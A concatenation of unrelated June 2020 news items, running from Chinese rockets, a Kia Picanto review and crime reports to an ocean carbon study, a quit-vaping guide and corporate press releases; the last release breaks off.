According to the corporation, the design work is slated to complete this year, and the rocket is scheduled to embark on its maiden flight in 2022.

The Long March-11, mainly used for launching micro-satellites, is currently the only solid-fueled model Long March carrier rocket and China's first sea-launched rocket. It has a capacity of 500 kg for sun-synchronous orbit at an altitude of 500 km.

Its latest launch mission was completed last Saturday from the Xichang Satellite Launch Center in southwestern Sichuan Province, which sent two technology experiment satellites into the space. Enditem
Borrowing design cues from high-riding crossovers, the 2020 Picanto X-Line dons a muscular and bold look that makes it vastly different from standard models. First and foremost, it gets a massive front bumper that comes complete with a faux skid plate, black accents, and a silver trim finish. Then there's its tiger-nose grill which gets additional chrome trim for a flashier appearance.

Did you know the 2020 Kia Picanto is also available in a more "rugged" version? First launched during the 2017 Geneva Motor Show , the Korean automaker has decided to reveal a new version of the X-Line weeks after launching the updated and upgraded hatchback .

Further highlighting the car's more rugged look are the black body cladding and the side protection moldings on the lower section of the doors. Finally, the rear bumper gets a faux rear skid plate and dual exhaust pipes for a sportier appearance.

The interior might still look the same as other Picanto models. But for those that prefer a more colorful vibe inside their Picanto, the X-Line can be had with the optional Lime Pack cabin trim. This gives the interior a black finish that is complemented by lime contrast stitching, white seat bolsters, silver metal transmission, and aircon vents, as well as silver-lime accents on the doors. Other available trim packages for the Picanto and Picanto X-Line include Orange Pack, Red Pack, and Green Pack.

As mentioned before, the 2020 Picanto is available with a 1.0-liter, naturally-aspirated three-cylinder that now makes 76 PS. However, those that prefer with a bit more oomph can get the 1.0-liter T-GDI inline-three that benefits from Kia's Smartstream technology. Unlike the naturally-aspirated version which only puts out 76 PS, the new turbocharged engine generates 100 PS.

The Picanto with the T-GDI engine is the first model that will be equipped with Kia's new automated manual transmission (AMT). The system itself is based on a five-speed manual but benefits from an automated clutch and gear shift actuators. This gives drivers ease of use, while not sacrificing the fuel efficiency of a manual transmission.

The key bit is that the X-Line has about 15mm of ground clearance according to reports. That brings up the minimim clearance to 156mm, thereabouts.

Will the X-Line be available outside of Europe? It's highly unlikely, but we're hoping that the turbocharged 1.0-liter T-GDI will be offered locally for the GT Line variant once the refreshed Picanto arrives in the country. Should Kia Philippines be able to price it right, the 100 PS Picanto T-GDI could become the most powerful A-segment hatchback in the country.
A 25-year-old man, Wasiu Bankole, has been arrested by the Ogun State Police Command for allegedly raping a 70-year-old woman in the Ijoko area of Sango Ota.

The command spokesperson, Abimbola Oyeyemi, confirmed this on Thursday.

He said the arrest followed a report by the victim who said the suspect stormed her room while she was asleep and forcefully raped her.

Mr Oyeyemi said the victim claimed the incident occurred on June 2 at Abule Lemode area of Ijoko at about 8 p.m.

She said the suspect suddenly broke into her room, held her down and forcefully had carnal knowledge of her against her consent, the official said.

The victim stated further that one of her neighbours who heard her screaming came to rescue her by using a stick to hit the suspect after which he jumped off her and ran away leaving his clothes, shoe and torchlight inside her room.

Upon the report, the DPO, Agbado division, SP Kuranga Yero dispatched his detectives to look for the suspect and bring him to justice. The detectives succeeded in getting him arrested 24 hours after and brought him to the station, Mr Oyeyemi said.

The police spokesman said, on interrogation, the suspect confessed to committing the crime but claimed to have acted under the influence of alcohol.

He said the victim has been taken to the hospital for medical attention.

Meanwhile, the commissioner of police, Kenneth Ebrimson, has ordered the immediate transfer of the suspect to the anti-human trafficking and child labour unit of the state criminal investigation and intelligence department.
KITCHENER  Police have arrested a 22-year-old man in connection to a daylight shooting at a Kitchener plaza almost a year ago.

The June 24, 2019 shooting at a plaza at 500 Fairway Rd. S. in Kitchener left three people shot, including two innocent bystanders.

A male victim  whom Waterloo Regional Police said was involved in a fight at the plaza just before being shot  was airlifted to an out-of-town trauma centre in critical condition. He has since been released from hospital, but suffered what police described as life-altering injuries.

The two female bystanders sustained non-life threatening injuries.

Investigators said the male victim was involved in a dispute with two other males at the plaza late that afternoon. As the altercation ensued outside the stores, near the parking lot, police say the accused approached the fight and fired multiple shots. The shooter fled before officers arrived.

Police said their investigation revealed that the male victim and the accused are known to each other.

A 22-year-old man from Lambton County is facing numerous charges, including three counts of aggravated assault, one count of attempted aggravated assault, careless use of a firearm, carrying a concealed weapon and other weapons charges. His name was not released by police.

He is expected to appear in court in Kitchener on Friday.

Police said they arent looking for any other suspects, but they asked any other witnesses who havent come forward to call them at 519-570-9777 ext. 8191 or Crime Stoppers at 1-800-222-8477.
Who is Firhad Hakim? Know Kolkata's New Mayor Age, Education, Family and Other Details

Kolkata man on two-wheeler injured by kite string

India

oi-Vicky Nanjappa

Kolkata, June 05: A 22-year-old man on a two-wheeler sustained injuries after a kite thread got entangled around his neck in the southern part of the AJC Bose Road here on Thursday evening, a senior police officer said.

Nobody was arrested in connection with the incident, though police has started checking CCTV camera footage to find out the person or persons flying the kite, he added.

Kannada reality show winner Mebiena Michael dies in road accident

The victim, a resident of Haridevpur, was bleeding and rushed to a nearby hospital. After treatment he was released in the night, police said.

Meanwhile, Kolkata Police on Thursday formed a panel of senior officers to keep a check on the increasing number of accidents involving bikers plying over the bridge and getting injured due to kite threads, the officer said.

Centre issues guidelines for the reopening of malls, offices and religious places | Oneindia News

Earlier in the afternoon, police officers used drone to keep a check on whether there were people flying kites near the Maa flyover, he said.

"We have been keeping tab on this area. If anybody is found flying kite near the area, we will start prosecuting them," the officer added.

Last month, a 40-year-old man was killed after kite thread got entangled around his neck while he was riding his two-wheeler on the Maa flyover.

After the bridge was opened for the public, there have been several such incidents.
Deputy First Minister Michelle O'Neill has said she had a "very good" conversation with the Queen, where they discussed the need to "focus on reconciliation".

First Minister Arlene Foster and the Sinn Fein vice-president spoke to the monarch in separate phone calls on Wednesday.

Tweeting afterwards Mrs Foster said: "Just had an audience by telephone with HM the Queen.

"Entirely up to date with what is happening in this part of her kingdom and in particular how we are dealing with Covid 19."

Expand Close The Queen spoke in separate phone calls with Michelle O'Neill and Arlene Foster / Facebook

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Speaking to the Belfast Telegraph during a visit to a farm in Strabane, Mrs O'Neill said she talked to the Queen, who was at Windsor Castle, about a number of things. "We talked about the Covid crisis and how it is impacting across our two islands," she said.

"We talked about the fact that we have big challenges ahead of us in terms of the economy to try and build on the back of Covid-19 and on the back of Brexit.

"We also talked about the fact that next year will see the centenary of the partition of this island and we talked about the need to have a focus on reconciliation and let's not fight the battles of the past.

"We had a very good conversation and I wished her well."

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The Deputy First Minister faced online criticism of her telephone audience with the Queen from some republicans on social media.

While Sinn Fein's MPs do not take their seats at Westminster, senior figures have met members of the royal family several times.

Mrs O'Neill's predecessor as Deputy First Minister Martin McGuinness met the Queen in 2012.

They exchanged a handshake and a few brief words during a royal visit to mark the Queen's Diamond Jubilee. The meeting took place at the Lyric Theatre in Belfast, where the monarch was attending a charity event.

And in 2014 Mr McGuinness was a guest at a banquet in Windsor Castle held as part of a State visit to the United Kingdom by Irish President Michael D Higgins.

At the banquet Mr McGuinness, a former IRA commander and prisoner, joined in a toast to the Queen proposed by Mr Higgins.

The following year Gerry Adams shook hands with Prince Charles at an event in Galway.
Volcanic eruptions and human-caused changes to the atmosphere strongly influence the rate at which the ocean absorbs carbon dioxide, says a new study. The ocean is so sensitive to changes such as declining greenhouse gas emissions that it immediately responds by taking up less carbon dioxide.

The authors say we may soon see this play out due to the COVID-19 pandemic lessening global fuel consumption; they predict the ocean will not continue its recent historic pattern of absorbing more carbon dioxide each year than the year before, and could even take up less in 2020 than in 2019.

"We didn't realize until we did this work that these external forcings, like changes in the growth of atmospheric carbon dioxide, dominate the variability in the global ocean on year-to-year timescales. That's a real surprise," said lead author Galen McKinley, a carbon cycle scientist at Columbia University's Lamont-Doherty Earth Observatory. "As we reduce our emissions and the growth rate of atmospheric carbon dioxide slows down, it's important to realize that the ocean carbon sink will respond by slowing down."

The paper, published today in the journal AGU Advances, largely resolves the uncertainty about what caused the ocean to take up varying amounts of carbon over the last 30 years. The findings will enable more accurate measurements and projections of how much the planet might warm, and how much the ocean might offset climate change in the future.

A carbon sink is a natural system that absorbs excess carbon dioxide from the atmosphere and stores it away. Earth's largest carbon sink is the ocean. As a result, it plays a fundamental role in curbing the effects of human-caused climate change. Nearly 40 percent of the carbon dioxide added to the atmosphere by fossil fuel burning since the dawn of the industrial era has been taken up by the ocean.

There's variability in the rate at which the ocean takes up carbon dioxide, which isn't fully understood. In particular, the scientific community has puzzled over why the ocean briefly absorbed more carbon dioxide in the early 1990s and then slowly took up less until 2001, a phenomenon verified by numerous ocean observations and models.

McKinley and her coauthors addressed this question by using a diagnostic model to visualize and analyze different scenarios that could have driven greater and lesser ocean carbon uptake between 1980 and 2017. They found the reduced ocean carbon sink of the 1990s can be explained by the slowed growth rate of atmospheric carbon dioxide early in the decade. Efficiency improvements and the economic collapse of the Soviet Union and Eastern European countries are thought to be among the causes of this slowdown.

But another event also affected the carbon sink: The massive eruption of Mount Pinatubo in the Philippines in 1991 caused the sink to temporarily become much larger coincident with the eruption.

"One of the key findings of this work is that the climate effects of volcanic eruptions such as those of Mount Pinatubo can play important roles in driving the variability of the ocean carbon sink," said coauthor Yassir Eddebbar, a postdoctoral scholar at Scripps Institution of Oceanography.

Pinatubo was the second-largest volcanic eruption of the 20th century. The estimated 20 million tons of ash and gases it spewed high into the atmosphere had a significant impact on climate and the ocean carbon sink. The researchers found that Pinatubo's emissions caused the ocean to take up more carbon in 1992 and 1993. The carbon sink slowly declined until 2001, when human activity began pumping more carbon dioxide into the atmosphere. The ocean responded by absorbing these excess emissions.

"This study is important for a number of reasons, but I'm most interested in what it means for our ability to predict the near-term, one to ten years out, future for the ocean carbon sink," said coauthor said Nicole Lovenduski, an oceanographer at the University of Colorado Boulder. "The future external forcing is unknown. We don't know when the next big volcanic eruption will occur, for example. And the COVID-19-driven carbon dioxide emissions reduction was certainly not anticipated very far in advance."

Investigating how the Pinatubo eruption impacted global climate, and thus the ocean carbon sink, and whether the drop in emissions due to COVID-19 is reflected in the ocean are among the research team's next plans.

By understanding variability in the ocean carbon sink, the scientists can continue to refine projections of how the ocean system will slow down.

McKinley cautions that as global emissions are cut, there will be an interim phase where the ocean carbon sink will slow down and not offset climate change as much as in the past. That extra carbon dioxide will remain in the atmosphere and contribute to additional warming, which may surprise some people, she said.

"We need to discuss this coming feedback. We want people to understand that there will be a time when the ocean will limit the effectiveness of mitigation actions, and this should also be accounted for in policymaking," she said.
BAKU, Azerbaijan, June 5

By Leman Zeynalova  Trend:

As member of the OSCE Minsk Group, Germany supports the efforts of the co-chairs to find a peaceful solution to the Nagorno-Karabakh conflict, an official source at the Federal Foreign Office of Germany told Trend in response to a question about Germanys priorities during the Council of European Union presidency.

Germany will take over the Council of European Union presidency starting from July 1, 2020.

Germany attaches high importance to her relationship to Azerbaijan, in particular within the framework of the Eastern Partnership. Following the virtual Eastern Partnership summit to be held on 18 June the European External Action Service and the European Commission will launch the process to identify new indicators to succeed the 20/20 deliverables agreed upon at the last summit in 2017, said the official.

The Eastern Partnership (EaP) is a joint initiative involving the EU, its Member States and six Eastern European Partners: Azerbaijan, Belarus, Georgia, the Republic of Moldova, Ukraine and Armenia.

The source noted that during her presidency of the Council of the European Union, Germany will actively contribute to this process: Together with the EU institutions, Germany has planned a number of events in the areas of youth cooperation, environment and business development with countries of the Eastern Partnership.

Germany will also put a major emphasis on EU support for helping the Eastern Partnership countries to overcome COVID-19 consequences, said the source.

The source pointed out that Germany is furthermore committed to promoting the peaceful settlement of unresolved conflicts in the region of the Eastern Partnership on the basis of the principles and norms of international law.

---

Follow the author on Twitter: @Lyaman_Zeyn
Baker Hughes (NYSE: BKR) announced today that the Baker Hughes international rig count for May 2020 was 805 down 110 from the 915 counted in April 2020, and down 321 from the 1,126 counted in May 2019. The international offshore rig count for May 2020 was 195, down 33 from the 228 counted in April 2020, and down 45 from the 240 counted in May 2019.

The average U.S. rig count for May 2020 was 348, down 218 from the 566 counted in April 2020, and down 638 from the 986 counted in May 2019. The average Canadian rig count for May 2020 was 23, down 10 from the 33 counted in April 2020, and down 47 from the 60 counted in May 2019.

The worldwide rig count for May 2020 was 1,176, down 338 from the 1,514 counted in April 2020, and down 1,006 from the 2,182 counted in May 2019.

May 2020 Rig Counts

May 2020 April 2020 May 2019 Land Offshore Total Month Variance Land Offshore Total Land Offshore Total Latin America 32 30 62 -27 53 36 89 149 30 179 Europe 85 26 111 -1 89 23 112 142 44 186 Africa 58 3 61 -42 83 20 103 101 22 123 Middle East 331 44 375 -45 367 53 420 356 54 410 Asia Pacific 104 92 196 5 95 96 191 138 90 228 International 610 195 805 -110 687 228 915 886 240 1,126 United States 335 13 348 -218 548 18 566 965 21 986 Canada 21 2 23 -10 32 1 33 67 3 70 North America 356 15 371 -228 580 19 599 1,032 24 1,056 Worldwide 966 210 1,176 -338 1,267 247 1,514 1,918 264 2,182

About the Baker Hughes Rig Counts

The Baker Hughes rig counts are counts of the number of drilling rigs actively exploring for or developing oil or natural gas in the U.S., Canada and international markets. The Company has issued the rig counts as a service to the petroleum industry since 1944, when Hughes Tool Company began weekly counts of the U.S. and Canadian drilling activity. The monthly international rig count was initiated in 1975.

The North American rig count is scheduled to be released at noon Central Time on the last working day of each week. The international rig count is scheduled to be released on the last working day of the first week of the month at 5:00 a.m. Central Time. Additional detailed information on the Baker Hughes rig counts is available on our rig count site.

About Baker Hughes:

Baker Hughes (NYSE: BKR) is an energy technology company that provides solutions to energy and industrial customers worldwide. Built on a century of experience and with operations in over 120 countries, our innovative technologies and services are taking energy forward making it safer, cleaner and more efficient for people and the planet. Visit us at bakerhughes.com

View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005072/en/

Contacts:

Media Relations

Melanie Kania, +1 713-879-1088

melanie.kania@bakerhughes.com

Investor Relations

Jud Bailey

+1 281-809-9088

investor.relations@bakerhughes.com
Joe Biden appears to have poached a top Apple exec.

REUTERS/Kevin Lamarque/File Photo

Joe Biden slammed President Donald Trump for suggesting on Friday that George Floyd, the Black man killed by Minneapolis police last week, is celebrating from heaven, possibly because of new US employment numbers.

On Friday, Trump said he hoped Floyd was "looking down right now" and celebrating "a great day for him ... in terms of equality" as he announced unexpectedly strong May jobs numbers.

Biden said that it was "despicable" of Trump to "put ... words" into Floyd's mouth.

It's unclear what the president was referring to when he said that Friday was a "great day in terms of equality."

The White House insisted on Friday that Trump was referring to "the fight for equal justice and equal treatment under the law," rather than the jobs report.

Visit Business Insider's homepage for more stories.

Joe Biden, the presumptive Democratic presidential nominee, slammed President Donald Trump for suggesting on Friday that George Floyd, the Black man killed by Minneapolis police last week, is celebrating from heaven today.

Biden noted that among Floyd's last words before he fell unconscious as a police officer kneeled on his neck were "I can't breathe." The former vice president called Trump's suggestion "despicable."

"For the president to try to put any other words in the mouth of George Floyd I frankly think is despicable," Biden said at the beginning of a speech he delivered Friday afternoon.

The economy added 2.5 million jobs in May, bringing the unemployment rate down to 13.3% from the 14.7% rate in April  an unexpectedly strong month amid the economic crisis.

In his Friday press conference, Trump took a victory lap on the economy, boasted about the US recovery from the COVID-19 pandemic, which has now killed over 105,000 Americans, and spoke about the issue of racial justice and police brutality.

Story continues

While speaking extemporaneously, Trump said he hoped Floyd was "looking down right now" and celebrating the progress the country is making.

"Equal justice under the law must mean that every American receives equal treatment in every encounter with law enforcement regardless of race, color, gender, or creed," Trump said. "We all saw what happened last week. We can't let that happen. Hopefully George is looking down right now and saying this is a great thing that's happening for our country. It's a great day for him, it's a great day for everybody ... this is a great day in terms of equality."

It's unclear what the president was referring to when he said that Friday was a "great day in terms of equality." The White House insisted on Friday that Trump was referring to "the fight for equal justice and equal treatment under the law," rather than the jobs report.

The president went on to say that his "plan" to deal with systemic racism in America is building a strong economy.

"We had the strongest economy anywhere in the world, and now we're going to have an economy that's even stronger," he said.

Unemployment among Black Americans is at 16.8%  the highest level in more than 10 years.

Biden said he was "disappointed" to see Trump "basically hanging a 'Mission Accomplished' banner out there" even as the coronavirus continues to ravage the country and tens of millions of Americans remain unemployed.

"These are some of the sternest challenges the country has ever faced and Donald Trump is patting himself on the back," Biden said during his speech on Friday. "He just has no idea, in my view, what is going on in this country. He has no idea the depth of the pain that so many people are still enduring."

He added, "It's time for him to step out of his own bunker, take a look at the consequences of his words and his actions."

ABC News Politics (@ABCPolitics) June 5, 2020

Grace Panetta contributed to this report.

Read the original article on Business Insider
Covid-19 cannot deter Thai investors from implementing their plans to acquire Vietnams businesses.

Siam Cement Group (SCG), which operates in three major business fields including cement-building materials, petrochemistry and packaging, has stated it would join forces with Japanese Rengo to acquire Vietnamese Bien Hoa Packaging company.





This is a long lasting enterprise manufacturing carton and offset packaging for food and beverage companies with a capacity of about 100,000 tons per year. It reported revenue of VND1.7 trillion in 2019.



In Vietnam, packaging paper accounts for nearly 50 percent of total paper consumption. According to the Vietnam Pulp and Paper Association (VPPA), the demand for packaging paper would see a relatively high growth rate of 14-18 percent per annum in the next 5-10 hears.

Under the development strategy of the industry, the packaging paper output would reach 6 million tons by 2025, or twice as much as 2019.

Under the development strategy of the industry, the packaging paper output would reach 6 million tons by 2025, or twice as much as 2019.

Siam Cement, one of the biggest packaging suppliers in Southeast Asia, believes that the acquisition of Bien Hoa will help it compete well with other rivals such as Kraft Vina and Lee & Man.



Another noteworthy deal made by Thai investors was the acquisition of Thinh Phat Cable JSC and Dong Viet Plastics Color Metal JSC. Stark Corporation PCK spent the record high amount of $240 million to take over the two enterprises at the same time.



Established in 1987 with the factory located in Long An province, Thinh Phat JSC is well known thanks to the cable supplier of the national 500 KV, 220 KV and 110 KV electricity transmission networks and the power line undergrounding programs in large cities, energy projects in rural areas funded by WB and ADB.



Meanwhile, Dong Viet focuses on making copper and aluminum wire and bars and processing PVC and XLPE products. It is a subsidiary of Thinh Phat Group.



With the M&A deal, Stark Corporation would have the opportunity to access Thinh Phats large existing custom and participate in the nations key infrastructure projects, such as Long Thanh Airport, smart cities, highways and subways under execution in many provinces and cities.



As an energy thirsty country, Vietnam has been eyed by many Thai investors. Super Energy Corporation has spent $457 million to buy four solar power projects in Vietnam. These are the projects belonging to the Loc Ninh energy center developed by the Electricity of Vietnam (EVN) with the total installation capacity of 750 MW.



In the retail industry, Central Group has stated it will spend $500 million more to expand the retail network in Vietnam, turning the market into an important link of the Central Groups link, which is expected to make up 25 percent of the groups total revenue in the next five years.

Kim Chi
DAMASCUS, Syria (AP)  Syrian air defenses responded to an Israeli attack near a central town on Thursday that caused explosions and a large fire in the area, state-run media said.

According to the Syrian news agency SANA, the Israeli airstrike occurred near the town of Masyaf in the Hama countryside. There was no immediate word on casualties or damage from the attack.

Residents in neighboring Lebanon reported hearing the Israeli warplanes flying at low altitude over parts of the Mediterranean country, on their way to bomb in Syria.

The airstrike is the latest in a series of Israeli attacks in Syria in the past few weeks, despite the coronavirus pandemic gripping the region, and comes amid rising tensions between Israel and Lebanons militant Hezbollah group in Syria, as well as along the Lebanon-Israel border.

Syria has accused Israel of carrying out at least seven airstrikes in the past two months alone, believed to have targeted Iranian and proxy interests.

On Wednesday, Lebanese Prime Minister Hassan Diab said Israel violated Lebanon's sovereignty by land, sea and air over 1,000 times in the last five months.

There was no immediate comment from Israel on Thursday's reported strike in Syria. In the past, Israel has acknowledged carrying out scores of airstrikes over the years, most of them aimed at alleged Iranian weapons shipments believed to be bound for Hezbollah. In recent months, Israeli officials have expressed concern that Hezbollah is trying to establish production facilities to make precision guided missiles.

Last month, an Israeli airstrike on a military position near Masyaf wounded six soldiers and destroyed several buildings, SANA reported.
In the present-day world, the number of lung injury cases and deaths related to vaping have been on the rise. If you are a vaper and wish you were not, you can learn how to quit vaping to save money and feel healthier.

Image: pexels.com (modified by author)

Source: Original

Is it hard to quit vaping? Like any other addiction, quitting vaping can be a hard battle that requires a fighting spirit. In fact, it can be harder than quitting smoking cigarettes. Nonetheless, you can learn how to quit vaping today and start your life anew.

Overview of vaping

Vaping refers to the inhalation of a vapor created by an electronic cigarette (e-cigarette) or any other vaping device. E-cigarettes are battery-powered smoking devices.

Typically, they have cartridges that are filled with a liquid containing nicotine, flavorings, additives, and chemicals. The liquid is heated into a vapor, which the person inhales.

Although e-cigarettes expose you to fewer toxic chemicals than traditional cigarettes, they have been associated with lung injuries and even deaths.

They can retard brain development and affect memory, concentration, learning, self-control, attention, and mood. They also predispose a person to other types of addiction in life

How to quit vaping: Steps to take

If you are looking for solutions to stop vaping, use the guide and tips below to kick away this habit.

Is it hard to quit vaping? Yes, learning how to stop vaping completely does not take a day. It is a journey that requires patience and an unyielding spirit.

Image: pexels.com

Source: UGC

You can anticipate challenges such as withdrawal symptoms and relapsing. However, these should not stop you from quitting e-cigarettes.

All you have to do is follow the steps below to know how to stop vaping. You should also put effort into accomplishing each of the steps.

Step 1: Think about all the reasons why you should quit

You ought to have a reason that motivates you to get to the no vaping stage. For some people, the ever-increasing number of related illnesses and deaths reported is reason enough.

E-cigarettes and related products contain different chemical additives and nicotine, which raise blood pressure. They also lead to spikes in adrenaline. These two factors can trigger a heart attack.

Others are motivated by the cost implications of e-cigarettes. A 2016 study established that individual spending on e-cigarettes costs about $250 per month for most vapers. The median cost was around $50 to $75 spent per month.

Besides, people who suffer serious lung illnesses related to using e-cigarettes also face very high hospitalization costs. You must have an excellent reason to stop it. Otherwise, you will be tempted to go back to your old ways.

If you are not sure why you want to kill this addiction, ask yourself the following questions:

Is vaping controlling my life?

How does it affect the way I think and feel?

How much do I spend on e-cigarettes?

Are there hobbies and activities that I used to enjoy before I started vaping?

What am I looking forward to the most after quitting?

The answers to the above questions will help you to understand yourself better. They will also motivate you to give up e-cigarettes for a healthier lifestyle.

Step 2: Seek help

Is quitting vaping hard? Yes, it is difficult, and this is why you need to reach out for help and support. Reaching out to professionals who have a history with smoking cessation is a good step to take.

These professionals will provide you with tools, tips, and support to make your quitting journey more bearable.

To complement the assistance you get from professionals, it is also good to be in touch with people who are on a similar journey. Interacting with smokers and ex-smokers will also help you to feel less overwhelmed on your new journey.

Always remember that you are not alone, and asking for help is not a sign of weakness.

Image: pexels.com

Source: UGC

Step 3: Set a quit date

Choosing a date to quit is the next step to take. Before you pick the actual date, you should allow yourself some time to get ready, as this will help you feel confident and give you the skills you will need to break the habit.

However, do not put it off for too long. Choosing a date too far away will give you time to change your mind or become less interested in quitting.

Make sure that your preferred date is no more than a week or two away.

Step 4: Learn more about the medications and nicotine replacement options

Finding a workable plan on how to quit Juuling or vaping requires you to know about the different medications and nicotine replacement options available. You can go through each with your doctor or other relevant experts.

Nicotine replacement therapy can be done using nicotine patches that are placed on the skin. They deliver a low-level stream of nicotine into the body.

When a nicotine craving strikes, you can also use a nicotine lozenge, gum, inhaler, or nasal spray together with the patch or without it. You can also talk to a tobacco cessation counselor to get personalized support.

Remember that the most effective medications and nicotine replacement options for one person may be different from anothers. Use the option that works best for you.

If professionals put you on medication, make sure that you follow the usage instructions as advised.

Step 5: Find replacement activities

It is essential for you to make a list of activities to distract you when the urge to vape strikes. Some activities that you can do are taking a walk, taking a shower, drinking water, calling a friend, or brushing your teeth.

Since vaping is a physical oral habit, you can have snacks or other things to keep your hands and mouth occupied whenever cravings strike. Some of the oral substitutes that you can buy are hard candies, bubble gum, popsicles, pretzel sticks, or popcorn.

You can try to substitute a snack flavor that reminds you of vaping. If you use strawberry-flavored juice, you can use gum or candy with the same flavor.

As you choose substitutes, remember that some people tend to gain weight after they quit smoking, so be careful to limit the amount of processed and sugary foods you eat. You do not want to solve one problem and create another in the process.

Image: pexels.com

Source: UGC

Step 6: Have a support team

The truth is that you are not the only person seeking information on how to quit Juul or vaping. Your ultimate goal is to break this habit, so you could use friends, family, or professionals for encouragement.

These are people you can rely on whenever you feel overwhelmed. You should pick nonjudgmental people who understand your raw emotions and offer a shoulder to lean on regardless of the time of day.

If you do not have supportive friends or family, you can seek support in a group of people on the same journey as you, or even professionals.

Step 7: Avoid all negative influences

As you focus on the positive things, you must also remember to eliminate the negative. You have to distance yourself from unsupportive people, places where youve vaped, or people who still vape.

Let your family and friends know that you are on a journey to break nicotine addiction. This way, they should be cautious not to expose you to situations that may make you relapse.

Step 8: Expect setbacks but do not give up

One of the biggest challenges you can expect is vaping withdrawal symptoms, and they will be very intense in the first few days. You have to acknowledge that it is normal, so do not be too hard on yourself.

Some of the common withdrawal symptoms are:

Headaches

Restlessness and irritability

Mood swings, depression, and anxiety

Increased appetite

Tremors

Nicotine cravings

Difficulty sleeping

There is no foolproof technique for resolving withdrawal symptoms. However, nicotine replacement therapy can help in relieving the symptoms.

Usually, the therapy uses small amounts of nicotine in patches, tablets, or gum. The most intense feelings of withdrawal typically decline after the first week, and it gets much easier after that.

Always assess your progress and be grateful that you are transforming your life by quitting nicotine or e-cigarettes.

You should also be welcoming of the new changes in your life, with the understanding that each bout of cravings will pass. Do something at the moment to distract yourself from the craving.

If you relapse, allow yourself a moment to recognize the patterns that have made you fail and address them. Do not wallow in the failure too long.

Instead, start the process of quitting again, and be gentle on yourself. It is okay to fail, but it is certainly not okay to go back to your old ways because of a relapse.

Image: facebook.com, @TheVapeDon

Source: Facebook

How long does it take to quit vaping?

It will take you about a month to break this habit. In the nicotine withdrawal timeline, the symptoms usually peak at one to three days.

After that, they gradually decrease over a period of three to four weeks. Knowing that the worst is over after just a couple of days is enough motivation for some people to kill the addiction completely.

What happens to your body when you quit vaping? Similar to quitting any other drug or addiction, you can expect to experience withdrawal symptoms if you ignore the craving for an e-cigarette.

Your body will also experience cravings that may seem too hard to beat at first. While such moments will test your core, do you best not to give in to the cravings.

Over time, the cravings will go away, and you will stop thinking about them altogether. You must always be aware that it takes time to break an addiction, but just a second to relapse.

Useful tips to help you quit vaping

Shift your mindset and stop rationalizing things. You should get rid of thoughts such as one puff will not hurt me or I can quit again tomorrow.

If quitting cold turkey is too hard for you, wean yourself from nicotine addiction. There is no shame in taking baby steps. Instead of taking your usual 24 mg, start by cutting back to 18 mg of nicotine concentrate, for instance. The following week, cut it back to 6 mg of nicotine and so on until you completely stop doing it.

Avoid temptation by all means. If you have vaper friends, stay away from them. You should also discard all nicotine-related products in your home. Having anything related to vaping around only tempts fate. Make sure to clean out your home, car, work, and all personal effects of anything to do with cigarettes or vapes.

Always have a designated person on call. You will need a supportive friend or family member to pick up your calls or answer texts while you push through the first couple of weeks.

Pinpoint all the triggers that make you crave nicotine. To change any habit, you must first identify triggers by knowing the cues that push you into the habit of vaping. Think about when and where you usually smoke or vape and why.

Do not switch back to regular cigarettes. Most people start vaping because they think that e-cigarettes are a safer option. Neither of the two is safe as they both foster an unhealthy addiction to nicotine.

Keep a journal of your progress. Journaling can help you to get out of your head and see in black and white how rapidly your thoughts and cravings change. One minute, you feel like you cannot do it, and the next, you feel just fine. Journaling will assist you to feel more confident in your ability to sit through the debilitating nature of a craving.

Be prayerful or set up an intention-setting space for yourself. You do not necessarily have to be religious or spiritual to acknowledge the benefits of intention setting. Pray for strength and set intentions for willingness. Do not be shy about asking the universe or whatever it is you believe in for help.

Finally, enjoy your vape-free life and be on your guard not to fall back into the same trap. If your brain ever starts playing tricks on you by thinking just one vape, remember that there is no such thing.

Temporary pleasures can cause you pain later on, so every time you think about using e-cigarettes, change your thoughts to how grateful you are that you are no longer a vaper.

It takes time to learn how to quit vaping and to do it successfully. We hope that with the steps and tips above, you will overcome this addiction and lead a healthier lifestyle.

Source: Legit.ng
Metro Manila (CNN Philippines, June 5)  The bill that will allocate a P1.5-trillion fund for workers and businesses hurt by the COVID-19 crisis hurdled the House on Friday.

Lawmakers, voting 210-7, passed the COVID-19 Unemployment Reduction Economic Stimulus (CURES) Act of 2020 or House Bill No. 6920 on third and final reading.

It is aimed at maximizing the direct and indirect creation and sustaining of jobs particularly in the Philippine rural countryside through infrastructure projects. The CURES Act seeks to fund an extensive job creation program nationwide, particularly through infrastructure projects.

Under the measure, 500 billion will be released for three years to fund infrastructure projects related to health, education, agriculture, infrastructure, and livelihood.

Some of the priority projects include the establishment of digital infrastructures in schools, construction of provincial fish ports or post-harvest facilities, and expansion of farm-to-market roads.

Deputy Speaker Luis Raymund Villafuerte Jr. earlier explained the measure will also work to boost health infrastructures. During the second reading of the bill on Tuesday, he said provincial hospitals and health centers will be built through this bill, adding this will lead to the hiring of more nurses, doctors, and medical technicians.

The bill would also fund credit and financing programs for small and medium enterprises, research and development program for product development, and the Labor departments emergency employment program for displaced and barangay workers.

Moreover, CURES Act of 2020 aims to lay the groundwork for the implementation of the recently-approved Balik Probinsiya Program, by helping create jobs for those returning to rural areas.

Aside from Villafuerte, the other proponents of the bill are Representatives Paolo Duterte, Martin Romualdez, Eric Yap, Laarni Cayetano, Michael Defensor, Loren Legarda, and Jose Antonio Sy-Alvarado.
LANGLEY, England, June 5, 2020 /PRNewswire/ -- Travelport Worldwide Limited ("Travelport" or the "Company"), a leading travel technology company, today announced that it has received commitments for $500 million in financing from affiliates of existing owners, Siris Capital Group, LLC ("Siris") and Evergreen Coast Capital Corp. ("Evergreen"), the private equity affiliate of Elliott Management Corporation ("Elliott"), and an additional $500 million of available financing capacity. The investment provides Travelport with the liquidity needed to continue to exceed the expectations of its customers despite the impact of the COVID-19 pandemic. It also allows the Company to continue to invest in its industry-leading technology and next-generation platform to ensure it is positioned for growth as travel returns.

"COVID-19 and the governmental response to the pandemic has had a negative impact on the travel industry, including our business, and we appreciate the increased support from Siris and Evergreen as we work to get through this challenging time," said Greg Webb, CEO of Travelport. "Their unwavering commitment and new capital ensure that we can continue to meet the needs of our customers, support our employees and take steps to emerge from this global health crisis in a strong position. With the support of our investment partners, we are confident in the long-term viability of our business and we remain committed to continued technology investments and our transition to a next-generation platform."

Frank Baker, Co-Founder & Managing Partner of Siris Capital, commented: "Siris is committed to Travelport's future success and growth, and our priority is maintaining the company's position as the industry partner of choice. We remain optimistic about the future trajectory of the business as the Company takes steps to increase its resiliency and emerge from the current crisis."

About Travelport (www.travelport.com)

